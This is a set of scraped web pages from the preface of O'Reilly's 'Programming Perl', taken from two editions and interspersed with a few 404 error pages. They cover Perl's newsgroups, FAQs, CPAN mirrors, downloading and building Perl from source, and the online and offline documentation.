The high-traffic comp.lang.perl.misc group discusses everything from technical issues to Perl philosophy to Perl games and Perl poetry. Like Perl itself, comp.lang.perl.misc is meant to be useful, and no question is too silly to ask.[2]

[2] Of course, some questions are too silly to answer, especially those already answered in the FAQ.

The comp.lang.perl.tk group discusses how to use the popular Tk toolkit from Perl. The comp.lang.perl.modules group is about the development and use of Perl modules, which are the best way to get reusable code. There may be other comp.lang.perl.whatever newsgroups by the time you read this; look around.

One other newsgroup you might want to check out, at least if you're doing CGI programming on the Web, is comp.infosystems.www.authoring.cgi. While it isn't strictly speaking a Perl group, most of the programs discussed there are written in Perl. It's the right place to go for Web-related Perl issues.

The Perl Homepage

If you have access to the World Wide Web, visit the Perl homepage at http://www.perl.com/perl/. It tells what's new in the Perl world, and contains source code and ports, documentation, third-party modules, the Perl bugs database, mailing list information, and more. This site also provides the CPAN multiplexer, described later.

Also check out http://www.perl.org/, which is the homepage of the Perl Institute, a non-profit organization dedicated to saving the world through serving the Perl community.

Frequently Asked Questions List

The Perl Frequently Asked Questions (FAQ) is a collection of questions and answers that often show up on comp.lang.perl.misc. In many respects it is a companion to the available books, explaining concepts that people may not have understood and maintaining up-to-date information about such things as the latest release level and the best place to get the Perl source.

There is also a metaFAQ, which answers supercommon questions. It has pointers to the current Perl distribution, various non-UNIX ports, and the full FAQ. There may be other FAQs you will find useful - for example, FAQs about non-UNIX ports, Web programming, or perltk.

Another FAQish sort of posting is the Perl Modules List, which keeps track of all the various existing and proposed modules that various folks have worked on, or will work on someday real soon now. Included are the email addresses of people to bug, and much free advice on module design. A must-read for people who don't want to reinvent either the buggy whip or the wheel.

The FAQs are periodically posted to comp.lang.perl.announce, and can also be found on the web at http://www.perl.com/perl/faq.

Bug Reports

In the unlikely event that you should encounter a bug that's in Perl proper and not just in your own program, you should try to reduce it to a minimal test case and then report it with the perlbug program that comes with Perl.

The Perl Distribution

Perl is distributed under either of two licenses (your choice). The first is the standard GNU Copyleft, which means briefly that if you can execute Perl on your system, you should have access to the full source of Perl for no additional charge. Alternately, Perl may also be distributed under the Artistic License, which some people find less threatening than the Copyleft (especially lawyers).

Within the Perl distribution, you will find some example programs in the eg/ directory. You may also find other tidbits. Poke around in there on some rainy afternoon. Study the Perl source (if you're a C hacker with a masochistic streak). Look at the test suite. See how Configure determines whether you have the mkdir(2) system call. Figure out how Perl does dynamic loading of C modules. Or whatever else suits your fancy.

Other Books

Learning Perl by Randal Schwartz (published by O'Reilly & Associates) is a companion to Programming Perl. It is more of a tutorial, whereas this book is more of a reference. If the tutorial section of Programming Perl is too short or assumes too much about your background, try Learning Perl for a kinder, gentler introduction to the language. If you want to learn more about Perl's regular expressions, we suggest Mastering Regular Expressions, by Jeffrey E.F. Friedl (also published by O'Reilly & Associates).

The AWK Programming Language, by Aho, Kernighan, and Weinberger (published by Addison-Wesley), and sed & awk, by Dale Dougherty (published by O'Reilly & Associates), provide an essential background in such things as associative arrays, regular expressions, and the general worldview that gave rise to Perl. They also contain many examples that can be translated into Perl by the awk-to-perl translator a2p or by the sed-to-perl translator s2p. These translators won't produce idiomatic Perl, of course, but if you can't figure out how to imitate one of those examples in Perl, the translator output will give you a good place to start.

We also recommend Johan Vromans's convenient and thorough quick reference booklet, called Perl 5 Desktop Reference, published coincidentally by O'Reilly & Associates.

Previous: The Rest of This Book | Programming Perl | Next: How to Get Perl
The Rest of This Book | Book Index | How to Get Perl


[Preface] How to Get Perl

Programming PerlSearch this book

How to Get Perl

The main distribution point for Perl is the Comprehensive Perl Archive Network, or CPAN. This archive contains not only the source code, but also just about everything you could ever want that's Perl-related. CPAN is mirrored by dozens of sites all over the world, as well as a few down under. The main site is ftp.funet.fi (128.214.248.6). You can find a more local CPAN site by getting the file /pub/languages/perl/CPAN/MIRRORS from ftp.funet.fi. Or you can use your Web browser to access the CPAN multiplex service at www.perl.com. Whenever you ask this Web server for a file starting with /CPAN/, it connects you to a CPAN site, which it chooses by looking at your domain name. Here are some popular universal resource locators (URLs) out of CPAN:

http://www.perl.com/CPAN/
http://www.perl.com/CPAN/README.html
http://www.perl.com/CPAN/modules/
http://www.perl.com/CPAN/ports/
http://www.perl.com/CPAN/src/latest.tar.gz

The CPAN multiplex service tries to connect you to a local, fast machine on a large bandwidth hub. This doesn't always work, however, because domain names may not reflect network connections. For example, you might have a hostname ending in .se but you may actually be better connected to North America than to Sweden. If so, you can use the following URL to choose your own site:

http://www.perl.com/CPAN

Note the absence of a slash at the end of the URL. When you omit the trailing slash, the CPAN multiplexer presents a menu of CPAN mirrors from which you can select a site. It will remember your choice next time.

The following machines should have the Perl source code plus a copy of the CPAN mirror list - both available for anonymous FTP. (Try to use the machine names rather than the numbers, since the numbers may change.)

ftp.perl.com          199.45.129.30
ftp.cs.colorado.edu   131.211.80.17
ftp.cise.ufl.edu      128.227.162.34
ftp.funet.fi          128.214.248.6
ftp.cs.ruu.nl         131.211.80.17

The location of the top directory of the CPAN mirror differs on these machines, so look around once you get there. It's often something like /pub/perl/CPAN.

Where the Files Are

Under the main CPAN directory, you'll see at least the following subdirectories:

  • authors. This directory contains numerous subdirectories, one for each contributor of software. For example, if you wanted to find Lincoln Stein's great CGI module, and you knew for a fact that he wrote it, you could look in authors/Lincoln_Stein. If you didn't know he wrote it, you could look in the modules directory explained below.

  • doc. A directory containing all manner of Perl documentation. This includes all official documentation (manpages) in several formats (such as ASCII text, HTML, PostScript, and Perl's native POD format), plus the FAQs and interesting supplementary documents.

  • modules. This directory contains unbundled modules written in C, Perl, or both. Extensions allow you to emulate or access the functionality of other software, such as Tk graphical facilities, the UNIX curses library, and math libraries. They also give you a way to interact with databases (Oracle, Sybase, etc.), and to manage HTML files and CGI scripts.

  • ports. This directory contains the source code and/or binaries for Perl ports to operating systems not directly supported in the standard distribution. These ports are the individual efforts of their respective authors, and may not all function precisely as described in this book. For example, none of the MS-DOS ports implement the fork function, for some reason.

  • scripts. A collection of diverse scripts from all over the world. If you need to find out how to do something, or if you just want to see how other people write programs, check this out. The subdirectory nutshell contains the examples from this book. (You can also find these sources at the O'Reilly & Associates ftp.oreilly.com site, in /pub/examples/nutshell/programming_perl2/.)

  • src. Within this directory you will find the source for the standard Perl distribution. The current production release is always in the file that is called src/latest.tar.gz,[3] which as of this writing is a symbolic link to the file src/5.0/perl5.003.tar.gz, but will likely point to a higher version number by the time you read this. This very large file contains full source and documentation for Perl. Configuration and installation should be relatively straightforward on UNIX and UNIX-like systems, as well as VMS and OS/2.

    [3] The trailing .tar.gz means that it's in the standard Internet format of a GNU-zipped, tar archive.

Using Anonymous FTP

In the event you've never used anonymous FTP, here is a quick primer in the form of a sample session with comments. Text in bold typewriter font is what you should type; comments are in italics. The % represents your prompt, and should not be typed.

% ftp ftp.CPAN.org (ftp.CPAN.org is not a real site)
Connected to ftp.CPAN.org.
220 CPAN FTP server (Version wu-2.4(1) Fri Dec 1 00:00:00 EST 1995) ready.
Name (ftp.CPAN.org:CPAN): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password: camel@nutshell.com (Use your user name and host here.)
230 Guest login ok, access restrictions apply.
ftp> cd pub/perl/CPAN/src
250 CWD command successful.
ftp> binary (You must specify binary transfer for compressed files.)
200 Type set to I.
ftp> get latest.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for FILE.
226 Transfer complete.
         .
         .      (repeat this step for each file you want)
         .
ftp> quit
221 Goodbye.
%

Once you have the files, first unzip and untar them, and then configure, build, and install Perl:

% gunzip < latest.tar.gz | tar xvf -
% cd perl5.003      (Use actual directory name.)

Now either one of these next two lines:
% sh configure      (Lowercase "c" for automatic configuration)
% sh Configure      (Capital "C" for manual configuration)

% make              (Build all of Perl.)
% make test         (Make sure it works.)
% make install      (You should be the superuser for this.)

Fetching modules

For retrieving and building unbundled Perl modules, the process is slightly different. Let's say you want to build and install a module named CoolMod. You'd first fetch it via ftp(1), or you could use your Web browser to access the module service from http://www.perl.com/, which always retrieves the most up-to-date version of a particular registered module. The address to feed your browser would be something like:

http://www.perl.com/cgi-bin/cpan_mod?module=CoolMod

Once you've gotten the file, do this:

% gunzip < CoolMod-2.34.tar.gz | tar xvf -
% cd CoolMod-2.34
% perl Makefile.PL  (Creates the real Makefile)

% make              (Build the whole module.)
% make test         (Make sure it works.)
% make install      (Probably should be the superuser)

When the CoolMod module has been successfully installed (it will be automatically placed in your system's Perl library path), your programs can use CoolMod, and you should be able to run man CoolMod (or maybe perldoc CoolMod) to read the module's documentation.

Previous: Additional Resources | Programming Perl | Next: Conventions Used in This Book
Additional Resources | Book Index | Conventions Used in This Book


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/prf1_05.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/prf1_06.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/prf1_07.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Preface (Programming Perl)

 Programming PerlSearch this book
Next

Preface

0.1. The Pursuit of Happiness

Perl is a language for getting your job done.

Of course, if your job is programming, you can get your job done with any "complete" computer language, theoretically speaking. But we know from experience that computer languages differ not so much in what they make possible, but in what they make easy. At one extreme, the so-called fourth-generation languages make it easy to do some things, but nearly impossible to do other things. At the other extreme, so-called industrial-strength languages make it equally difficult to do almost everything.

Perl is different. In a nutshell, Perl is designed to make the easy jobs easy, without making the hard jobs impossible.

And what are these "easy jobs" that ought to be easy? The ones you do every day, of course. You want a language that makes it easy to manipulate numbers and text, files and directories, computers and networks, and especially programs. It should be easy to run external programs and scan their output for interesting tidbits. It should be easy to send those same tidbits off to other programs that can do special things with them. It should be easy to develop, modify, and debug your own programs too. And, of course, it should be easy to compile and run your programs, and do it portably, on any modern operating system.

Perl does all that, and a whole lot more.

Initially designed as a glue language for Unix, Perl has long since spread to most other operating systems. Because it runs nearly everywhere, Perl is one of the most portable programming environments available today. To program C or C++ portably, you have to put in all those strange #ifdef markings for different operating systems. To program Java portably, you have to understand the idiosyncrasies of each new Java implementation. To program a shell script portably, you have to remember the syntax for each operating system's version of each command and somehow find the common factor that (you hope) works everywhere. And to program Visual Basic portably, you just need a more flexible definition of the word "portable". :-)

Perl happily avoids such problems while retaining many of the benefits of these other languages, with some additional magic of its own. Perl's magic comes from many sources: the utility of its feature set, the inventiveness of the Perl community, and the exuberance of the open source movement in general. But much of this magic is simply hybrid vigor; Perl has a mixed heritage and has always viewed diversity as a strength rather than a weakness. Perl is a "give me your tired, your poor" language. If you feel like a huddled mass longing to be free, Perl is for you.

Perl reaches out across cultures. Much of the explosive growth of Perl has been fueled by the hankerings of former Unix systems programmers who wanted to take along with them as much of the "old country" as they could. For them, Perl is the portable distillation of Unix culture, an oasis in the desert of "can't get there from here". On the other hand, it also works in the other direction: Windows-based web designers are often delighted to discover that they can take their Perl programs and run them unchanged on the company's Unix server.

Although Perl is especially popular with systems programmers and web developers, that's just because they discovered it first; Perl appeals to a much broader audience. From its small start as a text-processing language, Perl has grown into a sophisticated, general-purpose programming language with a rich software development environment complete with debuggers, profilers, cross-referencers, compilers, libraries, syntax-directed editors, and all the rest of the trappings of a "real" programming language--if you want them. But those are all about making hard things possible, and lots of languages can do that. Perl is unique in that it never lost its vision for keeping easy things easy.

Because Perl is both powerful and accessible, it is being used daily in every imaginable field, from aerospace engineering to molecular biology, from mathematics to linguistics, from graphics to document processing, from database manipulation to network management. Perl is used by people who are desperate to analyze or convert lots of data quickly, whether you're talking DNA sequences, web pages, or pork belly futures. Indeed, one of the jokes in the Perl community is that the next big stock market crash will probably be triggered by a bug in someone's Perl script. (On the brighter side, any unemployed stock analysts will still have a marketable skill, so to speak.)

There are many reasons for the success of Perl. Perl was a successful open source project long before the open source movement got its name. Perl is free, and will always be free. You can use Perl however you see fit, subject only to a very liberal licensing policy. If you are in business and want to use Perl, go right ahead. You can embed Perl in the commercial applications you write without fee or restriction. And if you have a problem that the Perl community can't fix, you have the ultimate backstop: the source code itself. The Perl community is not in the business of renting you their trade secrets in the guise of "upgrades". The Perl community will never "go out of business" and leave you with an orphaned product.

It certainly helps that Perl is free software. But that's not enough to explain the Perl phenomenon since many freeware packages fail to thrive. Perl is not just free; it's also fun. People feel like they can be creative in Perl because they have freedom of expression: they get to choose what to optimize for, whether that's computer speed or programmer speed, verbosity or conciseness, readability or maintainability or reusability or portability or learnability or teachability. You can even optimize for obscurity, if you're entering an Obfuscated Perl Contest.

Perl can give you all these degrees of freedom because it's a language with a split personality. It's simultaneously a very simple language and a very rich language. Perl has taken good ideas from nearly everywhere and installed them into an easy-to-use mental framework. To those who merely like it, Perl is the Practical Extraction and Report Language. To those who love it, Perl is the Pathologically Eclectic Rubbish Lister. And to the minimalists in the crowd, Perl seems like a pointless exercise in redundancy. But that's okay. The world needs a few reductionists (mainly as physicists). Reductionists like to take things apart. The rest of us are just trying to get it together.

There are many ways in which Perl is a simple language. You don't have to know many special incantations to compile a Perl program--you can just execute it like a batch file or shell script. The types and structures used by Perl are easy to use and understand. Perl doesn't impose arbitrary limitations on your data--your strings and arrays can grow as large as they like (as long as you have memory), and they're designed to scale well as they grow. Instead of forcing you to learn new syntax and semantics, Perl borrows heavily from other languages you may already be familiar with (such as C, and awk, and BASIC, and Python, and English, and Greek). In fact, just about any programmer can read a well-written piece of Perl code and have some idea of what it does.

Most important, you don't have to know everything there is to know about Perl before you can write useful programs. You can learn Perl "small end first". You can program in Perl Baby-Talk, and we promise not to laugh. Or more precisely, we promise not to laugh any more than we'd giggle at a child's creative way of putting things. Many of the ideas in Perl are borrowed from natural language, and one of the best ideas is that it's okay to use a subset of the language as long as you get your point across. Any level of language proficiency is acceptable in Perl culture. We won't send the language police after you. A Perl script is "correct" if it gets the job done before your boss fires you.

Though simple in many ways, Perl is also a rich language, and there is much to learn about it. That's the price of making hard things possible. Although it will take some time for you to absorb all that Perl can do, you will be glad that you have access to the extensive capabilities of Perl when the time comes that you need them.

Because of its heritage, Perl was a rich language even when it was "just" a data-reduction language, designed for navigating files, scanning large amounts of text, creating and obtaining dynamic data, and printing easily formatted reports based on that data. But somewhere along the line, Perl started to blossom. It also became a language for filesystem manipulation, process management, database administration, client-server programming, secure programming, web-based information management, and even for object-oriented and functional programming. These capabilities were not just slapped onto the side of Perl--each new capability works synergistically with the others because Perl was designed to be a glue language from the start.

But Perl can glue together more than its own features. Perl is designed to be modularly extensible. Perl allows you to rapidly design, program, debug, and deploy applications, and it also allows you to easily extend the functionality of these applications as the need arises. You can embed Perl in other languages, and you can embed other languages in Perl. Through the module importation mechanism, you can use these external definitions as if they were built-in features of Perl. Object-oriented external libraries retain their object-orientedness in Perl.

Perl helps you in other ways, too. Unlike strictly interpreted languages such as command files or shell scripts, which compile and execute a program one command at a time, Perl first compiles your whole program quickly into an intermediate format. Like any other compiler, it performs various optimizations and gives you instant feedback on everything from syntax and semantic errors to library binding mishaps. Once Perl's compiler frontend is happy with your program, it passes off the intermediate code to the interpreter to execute (or optionally to any of several modular back ends that can emit C or bytecode). This all sounds complicated, but the compiler and interpreter are quite efficient, and most of us find that the typical compile-run-fix cycle is measured in mere seconds. Together with Perl's many fail-soft characteristics, this quick turnaround capability makes Perl a language in which you really can do rapid prototyping. Then later, as your program matures, you can tighten the screws on yourself and make yourself program with less flair but more discipline. Perl helps you with that, too, if you ask nicely.

Perl also helps you to write programs more securely. In addition to all the typical security interfaces provided by other languages, Perl also guards against accidental security errors through a unique data-tracing mechanism that automatically determines which data came from insecure sources and prevents dangerous operations before they can happen. Finally, Perl lets you set up specially protected compartments in which you can safely execute Perl code of dubious origin, disallowing dangerous operations.

But, paradoxically, the way in which Perl helps you the most has almost nothing to do with Perl and everything to do with the people who use Perl. Perl folks are, frankly, some of the most helpful folks on earth. If there's a religious quality to the Perl movement, then this is at the heart of it. Larry wanted the Perl community to function like a little bit of heaven, and by and large he seems to have gotten his wish, so far. Please do your part to keep it that way.

Whether you are learning Perl because you want to save the world, or just because you are curious, or because your boss told you to, this handbook will lead you through both the basics and the intricacies. And although we don't intend to teach you how to program, the perceptive reader will pick up some of the art, and a little of the science, of programming. We will encourage you to develop the three great virtues of a programmer: laziness, impatience, and hubris. Along the way, we hope you find the book mildly amusing in some spots (and wildly amusing in others). And if none of this is enough to keep you awake, just keep reminding yourself that learning Perl will increase the value of your resume. So keep reading.

Home | Next
Book Index | 0.2. What's New in This Edition
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What's New in This Edition (Programming Perl)

 Programming PerlSearch this book

0.2. What's New in This Edition

Well, almost everything.

Even where we kept the good bits from the previous edition (and there were quite a few good bits, we'll admit), we've heavily revised and reorganized the current edition with several goals in mind. First, we wanted to increase the accessibility of the book to people coming from backgrounds other than computer science. We've made fewer assumptions about what the reader will know in advance. At the same time, we've kept the exposition lively in the hope that people who are already familiar with some of the material will not fall asleep reading it.

Second, we wanted to present the very latest developments in Perl itself. To that end, we have not been shy about presenting the current state of the work, even where we feel that it is still experimental. While the core of Perl has been rock solid for years, the pace of development for some of the experimental extensions can be quite torrid at times. We'll tell you honestly when we think the online documentation will be more reliable than what we have written here. Perl is a blue-collar language, so we're not afraid to call a spade a shovel.

Third, we wanted you to be able to find your way around in the book more easily, so we've broken this edition up into smaller, more coherent chapters and reorganized them into meaningful parts. Here's how the new edition is laid out:

Part 1, "Overview"

Getting started is always the hardest part. This part presents the fundamental ideas of Perl in an informal, curl-up-in-your-favorite-chair fashion. Not a full tutorial, it merely offers a quick jump-start, which may not serve everyone's need. See Section 0.5, "Offline Documentation" for books that might better suit your learning style.

Part 2, "The Gory Details"

This part consists of an in-depth, no-holds-barred discussion of the guts of the language at every level of abstraction, from data types, variables, and regular expressions to subroutines, modules, and objects. You'll gain a good sense of how the language works and, in the process, pick up a few hints on good software design. (And if you've never used a language with pattern matching, you're in for a special treat.)

Part 3, "Perl as Technology"

You can do a lot with Perl all by itself, but this part will take you to a higher level of wizardry. Here you'll learn how to make Perl jump through whatever hoops your computer sets up for it, from dealing with Unicode, interprocess communication, and multithreading, through compiling, invoking, debugging, and profiling Perl, on up to writing your own external extensions in C or C++ or interfaces to any existing API you feel like. Perl will be quite happy to talk to any interface on your computer, or for that matter, on any other computer on the Internet, weather permitting.

Part 4, "Perl as Culture"

Everyone understands that a culture must have a language, but the Perl community has always understood that a language must have a culture. This part is where we view Perl programming as a human activity, embedded in the real world of people. We'll cover how you can improve the way you deal with both good people and bad people. We'll also dispense a great deal of advice on how you can become a better person yourself and on how to make your programs more useful to other people.

Part 5, "Reference Material"

Here we've put together all the chapters in which you might want to look something up alphabetically, from special variables and functions to standard modules and pragmas. The Glossary will be particularly helpful to those who are unfamiliar with the jargon of computer science. For example, if you don't know what the meaning of "pragma" is, you could look it up right now. (If you don't know what the meaning of "is" is, we can't help you with that.)

Previous | Home | Next
0.1. The Pursuit of Happiness | Book Index | 0.3. The Standard Distribution
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Standard Distribution (Programming Perl)

 Book Home Programming PerlSearch this book

0.3. The Standard Distribution

Most operating system vendors these days include Perl as a standard component of their systems. As of this writing, AIX, BeOS, BSDI, Debian, DG/UX, DYNIX/ptx, FreeBSD, IRIX, LynxOS, Mac OS X, OpenBSD, OS390, RedHat, SINIX, Slackware, Solaris, SuSE, and Tru64 all came with Perl as part of their standard distributions. Some companies provide Perl on separate CDs of contributed freeware or through their customer service groups. Third-party companies like ActiveState offer prebuilt Perl distributions for a variety of different operating systems, including those from Microsoft.

Even if your vendor does ship Perl as standard, you'll probably eventually want to compile and install Perl on your own. That way you'll know you have the latest version, and you'll be able to choose where to install your libraries and documentation. You'll also be able to choose whether to compile Perl with support for optional extensions such as multithreading, large files, or the many low-level debugging options available through the -D command-line switch. (The user-level Perl debugger is always supported.)

The easiest way to download a Perl source kit is probably to point your web browser to Perl's home page at www.perl.com, where you'll find download information prominently featured on the start-up page, along with links to precompiled binaries for platforms that have misplaced their C compilers.

You can also head directly to CPAN (the Comprehensive Perl Archive Network, described in Chapter 22, "CPAN"), using http://www.perl.com/CPAN or http://www.cpan.org. If those are too slow for you (and they might be because they're very popular), you should find a mirror close to you. The following URLs are just a few of the CPAN mirrors around the world, now numbering over one hundred:

http://www.funet.fi/pub/languages/perl/CPAN/
ftp://ftp.funet.fi/pub/languages/perl/CPAN/

ftp://ftp.cs.colorado.edu/pub/perl/CPAN/
ftp://ftp.cise.ufl.edu/pub/perl/CPAN/
ftp://ftp.perl.org/pub/perl/CPAN/
http://www.perl.com/CPAN-local
http://www.cpan.org/
http://www.perl.org/CPAN/
http://www.cs.uu.nl/mirror/CPAN/
http://CPAN.pacific.net.hk/
The first pair in that list, those at the funet.fi site, point to the master CPAN repository. The MIRRORED.BY file there contains a list of all other CPAN sites, so you can just get that file and then pick your favorite mirror. Some of them are available through FTP, others through HTTP (which makes a difference behind some corporate firewalls). The http://www.perl.com/CPAN multiplexor attempts to make this selection for you. You can change your selection if you like later.

Once you've fetched the source code and unpacked it into a directory, you should read the README and the INSTALL files to learn how to build Perl. There may also be an INSTALL.platform file for you to read there, where platform represents your operating system platform.

If your platform happens to be some variety of Unix, then your commands to fetch, configure, build, and install Perl might resemble what follows. First, you must choose a command to fetch the source code. You can fetch with ftp:

% ftp ftp://ftp.funet.fi/pub/languages/perl/CPAN/src/latest.tar.gz
(Again, feel free to substitute a nearby CPAN mirror. Of course, if you live in Finland, that is your nearby CPAN mirror.) If you can't use ftp, you can download via the Web using a browser or a command-line tool:
% wget http://www.funet.fi/pub/languages/perl/CPAN/src/latest.tar.gz
Now unpack, configure, build, and install:
% tar zxf latest.tar.gz         Or gunzip first, then tar xf.
% cd perl-5.6.0                 Or 5.* for whatever number.
% sh Configure -des             Assumes default answers.
% make test && make install     Install typically requires superuser.
This uses a conventional C development environment, so if you don't have a C compiler, you can't compile Perl. See the CPAN ports directory for up-to-date status on each platform to learn whether Perl comes bundled (and if so, what version), whether you can get by with the standard source kit, or whether you need a special port. Download links are given for those systems that typically require special ports or for systems from vendors who normally don't provide a C compiler (or rather, who abnormally don't provide a C compiler).

Previous | Home | Next
0.2. What's New in This Edition | Book Index | 0.4. Online Documentation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Online Documentation (Programming Perl)

 Book Home Programming PerlSearch this book

0.4. Online Documentation

Perl's extensive online documentation comes as part of the standard Perl distribution. (See the next section for offline documentation.) Additional documentation shows up whenever you install a module from CPAN.

When we refer to a "Perl manpage" in this book, we're talking about this set of online Perl manual pages, sitting on your computer. The term manpage is purely a convention meaning a file containing documentation--you don't need a Unix-style man program to read one. You may even have the Perl manpages installed as HTML pages, especially on non-Unix systems.

The online manpages for Perl have been divided into separate sections, so you can easily find what you are looking for without wading through hundreds of pages of text. Since the top-level manpage is simply called perl, the Unix command man perl should take you to it.[1] That page in turn directs you to more specific pages. For example, man perlre will display the manpage for Perl's regular expressions. The perldoc command often works on systems when the man command won't. On Macs, you need to use the Shuck program. Your port may also provide the Perl manpages in HTML format or your system's native help format. Check with your local sysadmin--unless you're the local sysadmin.

[1] If you still get a truly humongous page when you do that, you're probably picking up the ancient release 4 manpage. Check your MANPATH for archeological sites. (Say perldoc perl to find out how to configure your MANPATH based on the output of perl -V:man.dir.)

0.4.1. Navigating the Standard Manpages

In the Beginning (of Perl, that is, back in 1987), the perl manpage was a terse document, filling about 24 pages when typeset and printed. For example, its section on regular expressions was only two paragraphs long. (That was enough, if you knew egrep.) In some ways, nearly everything has changed since then. Counting the standard documentation, the various utilities, the per-platform porting information, and the scads of standard modules, we're now up over 1,500 typeset pages of documentation spread across many separate manpages. (And that's not even counting any CPAN modules you install, which is likely to be quite a few.)

But in other ways, nothing has changed: there's still a perl manpage kicking around. And it's still the right place to start when you don't know where to start. The difference is that once you arrive, you can't just stop there. Perl documentation is no longer a cottage industry; it's a supermall with hundreds of stores. When you walk in the door, you need to find the YOU ARE HERE to figure out which shop or department store sells what you're shopping for. Of course, once you get familiar with the mall, you'll usually know right where to go.

Here are a few of the store signs you'll see:

Manpage | Covers
perl | What Perl manpages are available
perldata | Data types
perlsyn | Syntax
perlop | Operators and precedence
perlre | Regular expressions
perlvar | Predefined variables
perlsub | Subroutines
perlfunc | Built-in functions
perlmod | How to make Perl modules work
perlref | References
perlobj | Objects
perlipc | Interprocess communication
perlrun | How to run Perl commands, plus switches
perldebug | Debugging
perldiag | Diagnostic messages

That's just a small excerpt, but it has the important parts. You can tell that if you want to learn about an operator, perlop is apt to have what you're looking for. And if you want to find something out about predefined variables, you'd check in perlvar. If you got a diagnostic message you didn't understand, you'd go to perldiag. And so on.

Part of the standard Perl manual is the frequently asked questions (FAQ) list. It's split up into these nine different pages:

Manpage | Covers
perlfaq1 | General questions about Perl
perlfaq2 | Obtaining and learning about Perl
perlfaq3 | Programming tools
perlfaq4 | Data manipulation
perlfaq5 | Files and formats
perlfaq6 | Regular expressions
perlfaq7 | General Perl language issues
perlfaq8 | System interaction
perlfaq9 | Networking

Some manpages contain platform-specific notes:

Manpage | Covers
perlamiga | The Amiga port
perlcygwin | The Cygwin port
perldos | The MS-DOS port
perlhpux | The HP-UX port
perlmachten | The Power MachTen port
perlos2 | The OS/2 port
perlos390 | The OS/390 port
perlvms | The DEC VMS port
perlwin32 | The MS-Windows port

(See also Chapter 25, "Portable Perl", and the CPAN ports directory described earlier for porting information.)

0.4.2. Searching the Manpages

Nobody expects you to read through all 1,500 typeset pages just to find a needle in a haystack. There's an old saying that you can't grep [2] dead trees. Besides the customary search capabilities inherent in most document-viewing programs, as of the 5.6.1 release of Perl, each main Perl manpage has its own search and display capability. You can search individual pages by using the name of the manpage as the command and passing a Perl regular expression (see Chapter 5, "Pattern Matching") as the search pattern:

% perlop comma

% perlfunc split

% perlvar ARGV

% perldiag 'assigned to typeglob'
When you don't quite know where something is in the documentation, you can expand your search. For example, to search all the FAQs, use the perlfaq command (which is also a manpage):
% perlfaq round
The perltoc command (which is also a manpage) searches all the manpages' collective tables of contents:
% perltoc typeglob
perl5005delta: Undefined value assigned to typeglob
perldata: Typeglobs and Filehandles
perldiag: Undefined value assigned to typeglob
Or to search the complete online Perl manual, including all headers, descriptions, and examples, for any instances of the string, use the perlhelp command:
% perlhelp CORE::GLOBAL
See the perldoc manpage for details.

[2]Don't forget there's a Glossary if you need it.

0.4.3. Non-Perl Manpages

When we refer to non-Perl documentation, as in getitimer(2), this refers to the getitimer manpage from section 2 of the Unix Programmer's Manual.[3] Manpages for syscalls such as getitimer may not be available on non-Unix systems, but that's probably okay, because you couldn't use the Unix syscall there anyway. If you really do need the documentation for a Unix command, syscall, or library function, many organizations have put their manpages on the web--a quick search of AltaVista for "+crypt(3) +manual" will find many copies.

[3]Section 2 is only supposed to contain direct calls into the operating system. (These are often called "system calls", but we'll consistently call them syscalls in this book to avoid confusion with the system function, which has nothing to do with syscalls). However, systems vary somewhat in which calls are implemented as syscalls and which are implemented as C library calls, so you could conceivably find getitimer(2) in section 3 instead.

Although the top-level Perl manpages are typically installed in section 1 of the standard man directories, we will omit appending a (1) to those manpage names in this book. You can recognize them anyway because they are all of the form "perl mumble".

Previous | Home | Next
0.3. The Standard Distribution | Book Index | 0.5. Offline Documentation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Offline Documentation (Programming Perl)

 Programming PerlSearch this book

0.5. Offline Documentation

If you'd like to learn more about Perl, here are some related publications that we recommend:

  • Perl 5 Pocket Reference, 3d ed., by Johan Vromans (O'Reilly, 2000). This small booklet serves as a convenient quick reference for Perl.

  • Perl Cookbook, by Tom Christiansen and Nathan Torkington (O'Reilly, 1998). This is the companion volume to the book you have in your hands right now.

  • Elements of Programming with Perl, by Andrew L. Johnson (Manning, 1999). This book aims to teach non-programmers how to program from the ground up, and to do so using Perl.

  • Learning Perl, 2d ed., by Randal Schwartz and Tom Christiansen (O'Reilly, 1997). This book teaches Unix sysadmins and Unix programmers the 30% of basic Perl that they'll use 70% of the time. Erik Olson retargeted a version of this book for Perl programmers on Microsoft systems; it is called Learning Perl for Win32 Systems.

  • Perl: The Programmer's Companion, by Nigel Chapman (Wiley, 1997). This fine book is geared for professional computer scientists and programmers without regard to platform. It covers Perl quickly but completely.

  • Mastering Regular Expressions, by Jeffrey Friedl (O'Reilly, 1997). Although it doesn't cover the latest additions to Perl regular expressions, this book is an invaluable reference for anyone seeking to learn how regular expressions really work.

  • Object Oriented Perl, by Damian Conway (Manning, 1999). For beginning as well as advanced OO programmers, this astonishing book explains common and esoteric techniques for writing powerful object systems in Perl.

  • Mastering Algorithms with Perl, by Jon Orwant, Jarkko Hietaniemi, and John Macdonald (O'Reilly, 1999). All the useful techniques from a computer science algorithms course, but without the painful proofs. This book covers fundamental and useful algorithms in the fields of graphs, text, sets, and much more.

  • Writing Apache Modules with Perl and C, by Lincoln Stein and Doug MacEachern (O'Reilly, 1999). This guide to web programming teaches you how to extend the capabilities of the Apache web server, especially using the turbo-charged mod_perl for fast CGI scripts and via the Perl-accessible Apache API.

  • The Perl Journal, edited by Jon Orwant. This quarterly magazine by programmers and for programmers regularly features programming insights, techniques, the latest news, and more.

There are many other Perl books and publications out there, and out of senility, we have undoubtedly forgotten to mention some good ones. (Out of mercy, we have neglected to mention some bad ones.)

In addition to the Perl-related publications listed above, we recommend the following books. They aren't about Perl directly but still come in handy for reference, consultation, and inspiration.

  • The Art of Computer Programming, by Donald Knuth, vol. 1, Fundamental Algorithms; vol. 2, Seminumerical Algorithms; and vol. 3, Sorting and Searching (Addison-Wesley, 1998).

